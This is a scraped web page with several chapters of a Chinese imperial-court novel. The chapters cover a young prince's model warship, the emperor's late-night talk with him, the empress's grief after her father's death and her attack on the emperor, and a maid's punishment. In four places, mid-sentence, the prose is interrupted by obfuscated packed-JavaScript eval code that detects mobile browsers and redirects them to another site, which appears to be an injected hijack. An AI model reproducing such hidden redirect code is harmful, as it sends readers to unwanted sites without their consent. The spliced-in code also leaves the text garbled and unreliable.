宁澈一口怒火堵在喉咙里。整个紫禁城,能在乾清宫中来去自如, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049005|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并且有那些奇形怪状搞木头工具的人还能有谁! 他磨了磨后槽牙,从牙缝里挤了两个字出来:“宁,潇!” * 景仁宫中,宁潇毫无预兆的打了个喷嚏。 眼神清亮的小男孩揉了揉鼻子,此刻还并未意识到有危险正在慢慢靠临。 桌子上摆着一艘精美绝伦的战船。这可是宁潇今年最金贵的宝贝,每个部件都是他亲手裁切出来的。为了组这么一艘他理想中的无敌战船,孩子破天荒的看了不少稀奇古怪的书,有些甚至还是从乾清宫书房搜罗来的孤本。 先生给他布置功课时,他可不是这样的。 如今这艘船只剩了最后的部分,把甲板装配完成后就可以竣工了。这项工程可是耗费了宁潇大半年的心血,自己这宝贝战船,他越看越喜欢,觉得甲板非得铺些好木材不可。 但上哪去找上好的木料呢?孩子灵机一动,看上了他哥殿里的家具。所以这一段时间,他专门挑他哥公事繁忙的时候往乾清宫跑。趁人不注意的时候,他就捡着贵的家具挑,这抠抠,那刮刮,搜罗了一大堆小木片,回来再打磨成甲板的样子。 这些木料,是他成心在好多样家具上抠下来的,可着一张桌子薅太容易被发现,每个家具上薅一点风险就小多了不是?宁潇美滋滋的想,自己可真是机智啊。 他正沉浸在对木船的欣赏中无法自拔,却忽有内侍慌慌张张的跑进来禀到:“小主子,乾清宫来人了!” 话还没说完,一大队人便从门外涌了进来。领头的那个,宁潇认得,是他哥身边的一个秉笔,姓谭。 大事不妙。 宁潇仍壮着胆子硬气到:“你们要做什么?” 谭小澄倒是很客气,依规矩向宁潇请了个安,而后在房间中打量了一圈,很快便发现了赃物。 “带走吧。”他吩咐手下的人到。 宁潇急了,一个箭步挡到自己的宝贝前:“这个你们不能带走!我在哪船就得在哪!” 谭小澄揖了一礼,公事公办的说:“小殿下,不止这船奴婢们得带走,您也得跟奴婢一块去乾清宫。” 得,这倒也算是没跟他的宝贝战船分开。 宁潇心虚的抓了抓自己的头发:“那个,我哥……生气了吗?” 怎么说呢?谭小澄吁了口气,倒不能叫生气,而是震怒。 但他只能苦口婆心的劝到:“小殿下,您还是快跟奴婢走吧。去的越晚,麻烦越大。” 以宁潇多年来捅娄子的经验,他也大概明白自己应该是摊上事了。 “嗯……我去拿个东西,就跟你们走。” 宁潇回到自己的寝阁,拿了个什么东西藏进袖子里,又翻出一副护膝给自己戴上。 谭小澄想,真是熟练的让人心疼。 乾清宫内,宁澈铁青着一张脸,是风暴来临前最后的沉静。 谭小澄回来复命,将从景仁宫缴获回来的“赃物”,原封不动的呈了上去。 甲板上用的木材,宁澈还依稀能辨得出材质。他气的额角青筋突突跳了起来,一眼刀向他那个债主一样的弟弟:“这玩意是你做的?” 宁潇扁了扁嘴,吭了一声。 “你真是……”宁澈想骂这小崽子一顿,可一时又没找到合适的词。原因无他,宁潇要是做了个烂玩意也就罢了,让他还能有的放矢。可偏偏,这船竟是精雕细琢,让他都不由得暗赞了一句漂亮。 这小子的手艺活是有点东西的。不知怎么的,宁澈心里竟燃起了一丝小骄傲。 与此同时,站在一旁的钟义寒,在见到这战船烫样时,目光同样也霎时一炬。 “陛下,”钟义寒忍不住开口道,“这艘船,能拿给臣来看看吗?” 90. 怎样的人 夏绫一听说宁潇被拎来了乾清宫,急忙赶回殿里来。 一进门,就看见孩子蔫头耷脑的跪在地上,顶着一双烂桃一样的眼睛,哭的痛彻心扉。 她心里一凉,蹲到宁潇身前问到:“小王爷,你哥打你了?” “乔乔姐……”宁潇可怜巴巴的喊了她一声,哭的直噎气。 夏绫有点急了,宁澈就算要管孩子也不能这么暴力吧! “你伤到哪里没有?我去叫太医过来看看。” 宁潇却摇了摇头,小声说:“乔乔姐,我哥还没腾出功夫搭理我呢。” 夏绫这才算是舒了口气。 她探头往书房里看了眼,见里头人头攒动,可不止有钟义寒和杨怀简两个人。夏绫眉心拧了起来,不是说好了谈一会就散的么,怎么人还越喊越多了? 她见小吴正在帘外垂手侯着,上前轻声问:“皇上这怎么还没说完呢?” 小吴忙弯身见了个礼,答到:“小乔公公,主子不知道跟钟大人说到了什么话头上,又传了工部几位大人过来,看样子还得说一会子呢。” 夏绫点了点头,并没有注意到,在她身后,宁潇从袖子里拿出早就偷偷藏好的两段大葱白,往眼睛上又抹了一抹。 在书房内,钟义寒与工部几位官员仍在讨论着对于战船的构想,几人围绕着桌上的那具烫样,已反复推演了数个回合。 宁澈单手拄在膝上,在场几位对于船只承载力与火炮配置的观点,他都听进去了。他也属实没有想到,宁潇自己捣鼓出了这艘假船,竟开拓出了一条全新的思路。 这艘穿的形制与当前海防中用到的战船是有很大不同的。目前所造战船,大多承前朝旧制,尖底、尖头、方尾,底部设有单龙骨,利于破击海浪,甲板宽阔,用以配置火炮以及便于战时士兵的行动。 由于火炮装配于甲板之上,为保证进攻时的准头,火炮一般配置在船头或船尾,若想在船上加装更多的火炮,则必须要扩大船的体积,这样一来也势必导致船的重量越来越大,在敏捷性上有所损失。 而宁潇的这艘船,将火炮装配在了侧舷,且位于甲板的下一层。这样一来,在海战中,操作火炮的士兵可免于甲板上战况的侵扰,且在船体不过度庞大的情况下,还可装载尽量多的火炮。 因此,这样一艘全然不同的战舰,自然引起了工部几位主事人极大的兴趣。只不过,这烫样毕竟还是个雏形,待放大到真实的战船身上,吃水度、排水量、稳定性等等这些因素,还需要更加周密的筹划与考究。 工部左侍郎是个营造痴人,一见到这样一艘前所未见的战船,立时两眼放光,也顾不得什么官场上的礼节了,直接向宁澈拱手发问道:“万岁,不知这艘船,臣是否能带回工部研究?” 一旁的工部尚书斜了他一眼,心中骂了一句呆子。但瞧皇上这意思,战船建造的事早晚得提上日程,若是他干不出些成绩来,这工部尚书的位置怕是要坐不稳当了。这样看来,借鉴一番面前这艘船还是非常有必要的。 他眼珠子暗自转了一圈,同拱手道:“陛下,这艘战船烫样确实精美无双,建造者的心思精巧,臣等拜服。故而臣请陛下恩准,可否将这艘船借予工部观摩,臣等必将好生保管。” 搁在以往,这些恭维的话对宁澈一向不起什么作用,可在今日,对建造者的那一句夸赞,是结结实实拍在宁澈马屁上了。 他轻哦了一声:“按理说,这船是该叫工部带回去的。可此物并非朕所有,待问过建造者的意思后,再做定夺吧。” 工部尚书故作讶异:“皇上富有四海,臣等的身家性命皆为陛下所有,这建造者何以有这样大的口气?” 宁澈故意沉吟了片刻,待将几人的胃口掉足了,才道:“宁潇做的。” 工部几人来得晚,之前那场官司,他们自然不知情。工部尚书立刻转过弯来:“成王殿下年少聪颖,臣自愧不如,自愧不如啊!” “嗐,”宁澈漫不经意的说了句,“都是小孩子家瞎搞的,也没人教他。” 可在场的人谁看不出,皇上的嘴角都快要飞了。 此时宁潇仍丧气的跪在外间。他觉得膝盖跪的有点疼了,于是偷偷往侧边挪了下屁-股,坐到了地上。 就在这时,他看到书房里的几个官员陆陆续续的退了出来。孩子艰难的吞了口唾沫,又赶紧跪好,知道他哥很快就会腾出手来收拾他了。 果然,没过多会,便看见宁澈拢着玄色外袍从书房走了出来。 宁潇揉了揉眼睛,讨好又害怕的喊了声:“哥。” 夏绫见状,赶紧把沏好的茶端过去,满脸堆笑:“万岁爷渴了吧?先润润喉。” 宁澈瞪了她一眼,心里骂到,看你这个没骨气的样子。 然而他还是把夏绫手里的茶接了过来,喝了一口,才看向跪在地上两眼通红的宁潇。 “朕要不要把这乾清宫都拆了给你玩啊?” 宁潇尽量大声的抽了抽鼻子:“哥,我错了。” 每回道歉道的最快的是他,闯祸闯的最多的也是他。 “行了,快把你那两根大葱拿出来吧,别藏着了。” 都是宁澈从前玩剩下的把戏了,骗得了谁。 宁潇瞧着自己亲哥似乎也没有那么生气,况且还有夏绫在旁边挡着,于是爬起来撒了个娇:“哥,那我的船……” 谁知宁澈一眼瞪他回去:“让你起来了么?” “呜。”孩子瘪了瘪嘴,又乖乖跪了回去。 夏绫从背后轻轻捅了下宁澈的腰窝。这人惯是这毛病,明明心里疼孩子疼的不行,但偏偏非要先凶人家一顿。 宁澈顺了口气,从内侍手中接过一块湿帕子,蹲下身把宁潇脸上的鼻涕泡和被大葱熏出来的眼泪都擦掉。 他回身对谭小澄吩咐道:“去东稍间南边第二个柜子里取两壶酒,再拿两个蒲团过来。” 在这空当里,小铃铛也自己跑了回来,在夏绫脚边寻了块地方,四仰八叉的又卧在了一旁。 东西不久后便取了回来,宁澈接过酒,抬手示意伺候的人都退下去。 谭小澄应了是,领着其他几个近侍叩过头,依序退出了大殿。 吱呀一声轻响,殿门合上,夜静更阑的乾清宫中便只剩了三人一狗。 宁澈将蒲团摆在宁潇跟前,邀夏绫一同坐下:“现在没有外人了,聊一会吧。” 在他年少时,每当做错了事,或是遇到想不通的事情时,宣明帝就会挑个夜深人静的时间把他叫到跟前来,同他说,聊一会吧。在尚未识得天地之广时,父亲的那些话,时常会在宁澈心中点亮一盏明灯。 宁潇出生之时,宣明帝便已近迟暮,对于这个幺子,并未给予过太多亲近。宁澈自问,父亲确实偏待自己多一些,无形之中,他享有了一部分原本属于宁潇的父爱。故而成年后,他便也接过了教养幼弟的担子,尽力成为一个合格的长兄。 只不过,宣明帝对待他,很少有他对待宁潇那样疾言厉色的时候。但是他年幼时,也确实不及宁潇如此顽闹。 宁潇看了看自己哥哥和夏绫坐着的蒲团,问到:“我的呢?” 宁澈在他脑门上一敲:“还有脸问?乾清宫的家具都快让你给糟践完了,你坐地上。” 宁潇唔了一声,盘腿坐到了地上,地面暖烘烘的,他这样坐着倒也很舒服。 宁澈递给夏绫一壶酒:“喝点么,酒搭子?” 夏绫被这个称呼给逗笑了,她和宁澈可不就是酒搭子的关系么。 “我是可以喝,但是你行吗?病才刚好。” 宁澈莞尔道:“就喝一点,不碍的。” 两人各自拔了塞子,互相碰了一杯。这酒并不太烈,顺着喉咙滑下,酥酥麻麻的。 或许是酒精的作用,宁澈喝过酒后,整个人就变得很温和。 他将双手搭在膝上,对宁潇说:“三哥儿,虽然今天这事情你干的离谱了些,也差点让哥哥在臣下面前丢了面子,但我其实并没有生气。那艘船,你做的很好,哥哥也很为你感到骄傲。” 宁澈继续道:“待过了年,你也有十岁了,往后的时间会越过越快。虽然哥可以跟你保证,你这辈子能过的衣食富足,但我仍希望你能开始问自己一个问题,你这一生究竟想成为一个怎样的人。” 宁潇有些懵懂的看着他:“可我觉得现在这样就挺好啊。” 宁澈笑了笑说:“人这一辈子太长了,你现在觉得好,可是十年之后,二十年之后呢?等你娶妻之后,生子之后呢?你现在觉得好玩的东西,待你长大后,或许都会变得无聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062636|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这个世上最有意思的东西,往往都是要付出些代价去追逐的。我不求你要像寻常人家对的孩子期待一样,金榜题名,高官厚禄,但我希望你能找到自己真正喜爱的事情,至少能有几个刻骨铭心的瞬间,让你觉得不白来这世上一遭。” 宁潇眨了眨眼睛,问他:“哥,那你像我这么大的时候就在想这些事了吗?” “或许比你现在更早些。”宁澈又喝了口酒,“最开始的时候呢,我想做岳元帅,但也不是想着要精忠报国,而只是希望能保护身边的人不受欺负。后来到了差不多你这个岁数,那时候遭遇了一些变故,我觉得最近亲的人,开始疏远我,我最想要保护的人,好像并不需要我。所以那个时候,很是迷茫了一段时间。” 夏绫侧目看向身边的人,她知道他口中的“变故”指的是什么。那段时候的阿澈是什么样子,她其实也从未探究过,于是同样默默喝了口酒,听他继续讲下去。 “之后到了十一二岁的时候吧,那两年,基本上都在生病,每天都关在西苑的屋子里喝药汤子。那时候也想不了太多,就是希望自己别那么早死,还有就是,有些想家。” 夏绫眉心动了动:“那个时候不是说先帝要调养身子,所以搬去了西苑,怎么你也……” 宁澈摇了摇头:“要调养身子的人,始终都是我,我爹不过是拿他自己当了个借口。先头病逝过一位皇太子,我又这样病病歪歪的,怕传出去,会让朝廷觉得国本动摇。此外,他也是怕太多的目光聚集在我身上,让我这寿数更承受不住,才搬去西苑的。” 夏绫轻声问:“那你那两年,都怎么过来的?” “在床上过来的呗。”宁澈开了个玩笑,语气却又有些干涩,“我那时住在玉熙宫的寝阁里,每日就透过窗户看着外面的太液池,阴晴雨雪,岁月荣枯。也就是那段时间,我开始疯狂的读书。只有在看书的时候,我会觉得我身下的病榻能变成一只可破风浪的船,我也不只是囿于那一室之内。我可以很不谦虚的讲,像钟义寒那种能考上探花的人,在同样的年岁,看的书绝对不如我多。” “再后来,老天爷眷顾,身子慢慢健壮了起来。身体一好,想干的事情可太多了,想练武,想出宫,想做一个好的储君,也想到西五所去看看,住在里面的人愿不愿意重新接纳我。” 也就是在那个时候,夏绫与宁澈再一度重逢。可西五所的围墙就像是一道天堑,外面的人迈不进来,住在里面的人也自有她的苦衷。而如今盖棺定论,一切都已不会再改变了。 宁澈被他自己戳到了痛处,喝了一大口酒,却仍浅笑着问夏绫:“乔乔,那个时候你在想什么?” “我啊,”夏绫已然有些微醺,“我先把帽子摘下来再回答你这个问题。” 她将自己的帽子摘下,又将头发散开,乌黑蓬松的发丝霎时铺了满肩。往日里,她一直在做戴着三山帽的小乔,但此时此刻,她想做回夏绫片刻。 “我那时候想的可简单了,就是想多搞些钱。有了钱,就可以去换吃的,换书,还能去换药。日子能过的宽松些,就有心气期盼着在乎的人身体能快些好起来。” 宁澈低着头沉默了片刻,却又忽揉着眼睛笑了起来。他拿起自己的酒壶,和夏绫的短暂一碰:“喝酒,喝酒。” 到后来,借着酒劲,宁澈也不知道和夏绫又说了些什么,总归都是些陈芝麻烂谷子的事。不过正事倒是没忘,宁潇最后松了口,同意将他那艘船暂时贡献出来。 小铃铛打了个哈欠,它听不懂那三个人你来我往的在说些什么,兀自觉得困了。宁澈摸了摸它的狗头,一手一个将夏绫和宁潇拉起来,让他们各自回去休息。 送走宁潇和夏绫后,宁澈抱着臂又走到那面海防图前,看着东南蜿蜒曲折的海岸线,独自站了一会。 忽而有殿门的一声微响,又有脚步声传来,是有人进殿来了。 宁澈回头,见来的人竟是何敬。宁澈的眉心微微蹙了起来,今晚并非司礼监掌印当值,若非要紧的事,他不会在这个时候还会来回禀。 “怎么了?” “主子,”何敬一见到宁澈,俯身叩头道,“奴婢有事要禀奏。” 宁澈的右眼皮骤然狠跳了两下。 “讲。” “纪文征纪大人……死了。” 91. 孤家寡人 宁澈怔了一下,好像并没有听懂何敬的话。 乾清宫内的滴漏声在夜阑人静的大殿中格外清晰,宁澈忽感到颅内一阵刺痛,下意识摁住了太阳穴。 “怎么回事?” 何敬答到:“今年辽东雪下得特别早,出了山海关,纪大人便病倒了。虽是也请当地的医官救治过,但终究是……没能保住命。” 宁澈抬手,使劲抓了抓自己的头发,把头皮拽的生疼,借此让自己的思绪能清楚些。 “那人呢?现在是怎么处理的?” 何敬低头回禀:“依照律法,流放的犯人死在途中,当通知其亲眷处理后事。但纪氏夫人同他已然和离,纪家小公子也不过黄口之龄,拿不了主意。故现在遗骨还在辽东,尚未收殓。” 宁澈张了张嘴,一股怒意勃然而起:“纪文征贪的那些银子,那女人和她儿子敢说一分没用过吗?一封和离书撇清关系,是纪文征不想拉她下水,她还真当自己有多清高了!你叫人去告诉她,就说是朕的意思,让那小子给他爹戴够了七七四十九天的孝!” 他说得太急,一股病气直冲上喉咙,迫得他不得不弯着身子咳了起来。 何敬一惊,连忙扶宁澈坐下,又去倒水来给他润喉。 “主子,”何敬半跪在御座边,慢慢说道,“南京纪家那边也给了态度,说是戴罪之人,不让葬进祖坟。纪大人这身后事……还是需让至亲来拿个主意啊。” 说到底,这件事是不可能绕过纪瑶的。 宁澈用力揉了揉自己的喉咙,哑着嗓子问:“皇后那边得到消息了么?” 何敬摇头道:“奴婢也是才刚得的信儿,娘娘那边,应该还不知情。” 他见宁澈用指节抵着额头良久未语,试探着问:“主子,要不奴婢先去永宁宫,给娘娘透个口风?” “算了。”宁澈抬起头来,口中发苦,“明天。等明天一早,朕自己去同她说。让朕好好想想吧……该怎么开这个口。” * 或许是前夜喝了酒的原因,夏绫这一夜睡得极沉,翌日醒来时,外面的阳光已密的似乎能将窗帘涨开。 她揉着眼睛起了床,见小铃铛趴在屏风外,架子脚上又被它多啃出了几个牙印。 简单洗漱后,她同往常一样,到宫道里去遛狗。 狗子今日改了路线,甩着尾巴溜溜达达走到了西长街一侧。夏绫遛狗一向很随意,狗想去哪,她就跟着去哪。 忽见着有群人打东边过来。夏绫拽着狗避让到一边,认出那是尚宫局和尚仪局的人。打头的是崔尚宫和杜尚仪,两人皆面色沉肃,步履匆匆。 看样子,这是往永宁宫的方向去的。 夏绫一眼就看到了跟在队伍最末的方苒。方苒如今还并无任何品级,若是连她都跟着,怕是整个尚宫局的人都调动了。 一定是出了什么大事。 夏绫心中忽有了种很不好的感觉。她在小铃铛的屁-股上轻轻拍了下,让狗先回去,自己却跟上了女史的队伍。 尚宫尚仪两局的人果然去了永宁宫,众人低头站在夹道中,等候着安排。夏绫踮脚向前望去,见门口守着尽是些内侍,都是乾清宫的人。 今日既不是初一也不是十五,宁澈按理说是不会到永宁宫来的。 夏绫轻手轻脚的摸到方苒身边,拽了拽她的衣袖:“苒苒,出什么事了?” “绫儿?” 方苒见是她,在袖子下握住夏绫的手,将她拉到一旁,压低声音道:“娘娘将皇上刺伤了。陛下下了旨,要封禁永宁宫,禁足娘娘。尚宫局和尚仪局负责监禁,是来锁宫的。” “不可能。”夏绫觉得这也太荒唐了。纪瑶如此恬静的一个人,怎么可能会出手去伤宁澈? “到底是怎么回事?” “这种事我怎么可能瞎讲。”方苒细眉微锁,“听说,皇后娘娘的父亲,死在辽东了。” 夏绫周身如坠冰窟。事情怎么……会变成这个样子呢。 她兀自越过人群,走到永宁宫门前。守在那里的内侍认得她是皇上的身边人,没有阻拦,放了夏绫进去。 宫院内的花草幽寂依旧,夏绫尚未踏上台阶,便听到纪瑶近乎破音的话语透过窗格传来:“你走!我不想看到你,你快走!” 殿内,宁澈左手掌心之中被割出了一条长长的口子,鲜血淋淋漓漓的顺着指缝淌下,将衣襟也染上了数点血迹。 纪瑶跌坐在地上,鬓发散乱,目眦欲裂。她紧攥着徐婉双肩上的衣襟,歇斯底里的摇晃她道:“婉娘,你让他走,让他赶紧走啊!” 纪瑶初得了纪文征的死讯,像失了魂一样就想往外跑。宁澈想要拦住她,她却骤然如发了狂一般,拔下头上的发簪,冲着宁澈身上狠狠刺了过去。宁澈抬手要去夺她手中的簪子,被簪尾锋利的尖刺割破了手掌。 徐婉早已被吓得没有了血色,她将纪瑶护在自己身后,俯下身不住求情到:“皇上,娘娘是悲痛过度了,根本不知道自己在做什么,您要罚就罚奴婢,不要同娘娘计较……” 方才纪瑶那个动作,在场那么多双眼睛看得明明白白。她是要弑君啊。 宁澈托着自己不住颤抖的手,叫退了挡在他身前的何敬,仍是凑近纪瑶,弯身蹲在了她面前。 “纪瑶,你听我说。” 在他同这女子相处的漫长且乏味的岁月里,他先是叫她太子妃,后又叫她皇后,这是第一次,宁澈称呼她为她自己的名字。 “你父亲的事,我很抱歉。但是你不要妄图用这种方式求死,你还年轻,往后的路还长,不要这样作践自己。你父亲的身后事,我会让人去料理,将他安葬回故土,一定不会薄待了他。也请你,节哀。” 纪瑶没有看他,也并不说话,只是胸膛在喘息间一起一伏。但宁澈知道,她不可能没听到他方才的话。 “你可以悲伤一段时日,我也允许你在永宁宫中戴孝。但你不要总想着去做超出你我能力范围之外的事情。所以这段时日,我会暂时封禁永宁宫,如果你什么时候想通了,可以随时让人来找我。” 说完这些,宁澈的话也尽了。他站起身,走出殿阁时,却正看到站在庭院间的夏绫。 夏绫的目光落在他鲜血淋漓的伤手上。她走近他,从自己怀中抽出一方手帕,覆在宁澈的伤处,内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我没有想做伤天害理的事,我就是想去我爹的坟前,磕个头,上柱香,都不行吗?那是我唯一的亲人啊,我就想去送他最后一程,都不行吗?” 是啊,不行。 一入宫门深似海,寻常人家的女子,一旦踏入这宫墙,与亲人都似是天地两隔。更何况,纪瑶是皇后,而纪文征是罪人。 一国的皇后,怎么可能到罪官的坟前上香跪拜,这世上容不得这样的事。 纪瑶的目光一寸一寸在夏绫脸上掠过,终化为一丝讥笑。 “我早该明白,这世上除了自己,靠不得任何人。” 纪瑶紧紧抱住自己的双肩,借此来汲取一丝安全感:“我没有那么大公无私。我知道,你们厌弃他,痛恶他,说他是罪人。可对于我来说,他永远都是父亲,他没有做过对不起我的事。” 她落下一声凄凉的喟叹。 “绫儿,你走吧,不要再来找我了。你同皇上才是一家人,说到底,你也不可能为了我而去伤他的心。可我爹也是我的家人,该为他做的事,我终究会自己来做。” 92. 楚河汉界 被监禁的永宁宫,仿若一潭死水。 尚宫局和尚仪局负责轮流把守永宁宫各门,但这显然不是个好差事。 经此大悲,纪瑶似乎是完全换了一个人,性情大变。她不许除徐婉外的任何人靠近她,一旦见到有尚宫局或尚仪局的宫人来送东西,立刻将她们赶出去,宫里能砸的东西都被她砸了个遍。 前日,她假作在庭中摆弄花草,却突然出手用浇花的壶砸伤了守门的女史,从永宁门闯了出去。纪瑶一身素服,一直跑到了西长街才被拦了下来。 事情传到乾清宫,皇上虽未做什么表态,可两局的尚宫尚仪到底是挨了司礼监的申饬。 但两局上下谁能不委屈,那位毕竟是主子,不能推也不能拦,要是万一伤了皇后,到头来还是底下人的罪过,怎样都是受累不讨好的。 为了图一丝安慰,不知是从谁起的头,女史之间都流传着,皇后娘娘疯了,跟个疯女人计较些什么。 稍微精明些的女史,自是不愿意但这种差事的,尽推给那些无权无势的小宫女去做。如方苒这种在尚宫局中的末流,看守的活自是都落在了她身上。 方入冬月,风中都裹着股雪味。方苒站在永宁宫正殿门口的台阶上,随时提防着里面会有人出来。 做看守确实是个苦差事,乏味且疲累,而且会占用上她大块的时间。可方苒满心还想着来年开春的女官考试,于是将她需要温习的书都裁成一条条的,塞进自己的袖子里,在无事时就抽出来低头看看。 身后的格栅门一声微响,方苒急忙将字条塞回袖中,回头见皇后已站在了门前。 永宁宫不过才封了三五日,可纪瑶已然憔悴了一大圈。她又日日穿着白衣服,瞳仁深的吓人,单薄的好似一只可飘然无息的鬼魅。 “娘娘。”方苒忙对她欠身问安。虽说这女子已孱弱的手无寸铁,但对于她皇后的身份,方苒仍是心存敬畏。 纪瑶漠然的瞅了她一眼,没有说话,径自跨过门槛朝外走来。 方苒见状,连忙拦到她面前:“娘娘想要什么,奴婢帮您去取,不劳烦娘娘出来。” 纪瑶脸色沉了下来:“我什么时候连这殿门都出不得了?” 方苒沉吟片刻。因上次闯宫门的事,尚宫局上下都挨了斥责,没有人再敢松懈半分。交代方苒来此值守的女史特别嘱咐到,最好让皇后连大殿都不要出,否则出了纰漏,大家得一起吃挂落。 方苒在心中衡量了片刻,还是觉得不连累尚宫局更重要些。所以她开口劝到:“外面冷,娘娘还是……” 谁知话还没说完,纪瑶扬起手一掌掴在了她脸上。 “什么时候轮到你这奴才来做我的主了?” 方苒脸上一阵闷痛,眼眶一下子就红了。自那个让她做小伏低的家散了之后,入宫后方苒还从没挨过耳光。姑娘家谁不要面子啊。 纪瑶的性子一贯内敛,即便发起怒来也不会暴跳如雷,但整个人周身仍透着股凌厉。她拨开方苒,冲着永宁门外值守的宫人喝道:“去把你们管事的喊来,我倒想问问,什么时候我连这天日都不得见了?” 崔尚宫匆匆忙忙的赶到,一见了方苒便不由分说的斥道:“苒丫头,你还不赶紧跪下给娘娘赔罪!” 方苒心中委屈,她虽觉得自己并未做错些什么,但也不敢顶撞上司,只得跪下同纪瑶磕头赔罪道:“娘娘恕罪。” 崔尚宫赔笑说:“娘娘请息怒,这丫头是新来的,性子直率了些,奴婢带回去定会好好训斥。” “带回去?”纪瑶蔑笑道,“你们都是蛇鼠一窝,谁知带回去之后会不会上下包庇了?无非就是欺负我出不去这宫门罢了。” 崔尚宫被她斥的面皮通红,欺负主子这顶帽子,她可不想扣在自己头上。 “那……依娘娘的意思,要怎么处置?” “要罚就在这里罚。”纪瑶瞥了方苒一眼,衣袖下的双手却暗扣成了拳,“让她自己掌嘴。” 崔尚宫无奈,在方苒肩上打了一下:“苒丫头,照娘娘说的做。” 见方苒不动,纪瑶皱起了眉:“怎么,你是不会么?” 方苒咬了咬嘴唇,带着哭腔低声道:“娘娘,奴婢也是读过书的,没有掌过自己的嘴。” 纪瑶垂眸看着面前这个被她欺压到无力还手的弱者,忽而转身回了殿内,扔了一把鸡毛掸子出来。 “崔尚宫,你自己看着办。但是日后,你们的人要守门,都退到门外去,我不想在我的宫里,看见任何一个你们的人。” 说完,纪瑶甩下满脸的厌恶,关上门径自回了里间。 殿内,轻袅的白烟自供桌的香案上幽幽盘旋着飘起。纪瑶坐回日夜跪守的蒲团上,抬头看向面前纪文征的灵位,听到鸡毛掸子打在人身上的声音从殿外传来。 突然,她抬手狠狠给了自己脸上一巴掌。 “姑娘!”徐婉惊呼,连忙过来抱住她,看她有没有伤到自己。 “婉娘,我是真的很讨厌自己现在这个样子,真的讨厌。” 徐婉哽咽:“奴婢知道。可咱们这也是,实在没办法了啊……” “我再最后为自己争一次。”纪瑶嘴角浮起一丝惨笑,“如果这次还不成,那我也就,认命了。” * 夏绫进不去永宁宫,但是她又没办法真的把纪瑶这件事从脑子里忘掉,为了旁敲侧击的打听一些永宁宫里的消息,她只能去找方苒。 方苒此时并没有在住处。夏绫在门外等了一会,直到看见方苒扶着墙慢慢走回来,脸色看起来很不好。 “苒苒,”夏绫忙上前去扶住她,“你怎么了?” 方苒眼睛仍红着,声音还有些发闷:“绫儿,你轻点,疼。” 夏绫将方苒扶进了屋,听她简单讲过了事情的前因后果。这样不用问也知道了,纪瑶在里面肯定不是很好,没有一个人是过得好的。 夏绫扶着方苒坐到床上,帮着她将外衣脱了,又去找来了药酒。方苒的后背上遍布着交错纵横的淤伤,看起来至少被抽打了几十下。 夏绫皱了皱眉,用棉布沾了药酒,轻轻往方苒的伤口上擦。 “苒苒,你不要动,我怕弄疼了你。” 可方苒仍是在不住的颤抖。夏绫后知后觉的意识到,她是哭了。 “苒苒……”夏绫坐到方苒对面,拉住她的手,也不知该怎样安慰她才好。 方苒抽了抽鼻子,哑声说:“绫儿,我就是觉得有些不公平。我认真念书,好好做事,每天都克己复礼,活的谨小慎微。可一到了主子面前,人家还是想打便打,想骂就骂,我就算努力再多,也不过就是个奴才,不配有自尊的。” 夏绫垂眸道:“在宫里生活呢,就不能太钻这个牛角尖。只要不是坐到皇上那个位置上,谁都有屈居人下的时候,即便是官场上的那些大人,也都还会受窝囊气的。” 方苒撇撇嘴:“说得倒轻松,你又没挨过打。” “那倒也不是,我是没少挨过打。”夏绫淡淡笑了一下,“但尊严这个事,我觉得是自己给的,如果奢求别人,那活的就太累了。” 方苒看向夏绫,觉得自己有些失言,毕竟她并不知夏绫的过去是何种样子。她用袖子擦了擦眼泪,赌气一般道:“算了,我同个疯子计较什么。” 夏绫怔了一下:“苒苒,你也是这么觉得吗?” 虽然许多人都在这样传,但夏绫仍不希望纪瑶被如此污蔑,尤其是从她亲近的人口中说出。可方苒也是受了委屈的那个,只要是人,心中就不可能没有怨念。 “我知道我不该那样说主子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097340|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方苒低头道,“但咱们私下里说,我还是觉得,娘娘这样做太易招人口实。在这宫中,无父无母的宫人多了去了,谁不是夜深人静时忍着眼泪在熬日子。到底是在闺中娇养的小姐,同我们这些做奴婢的共不了情,可当我们想起自己父母至亲时,又能找谁去撒泼呢。” 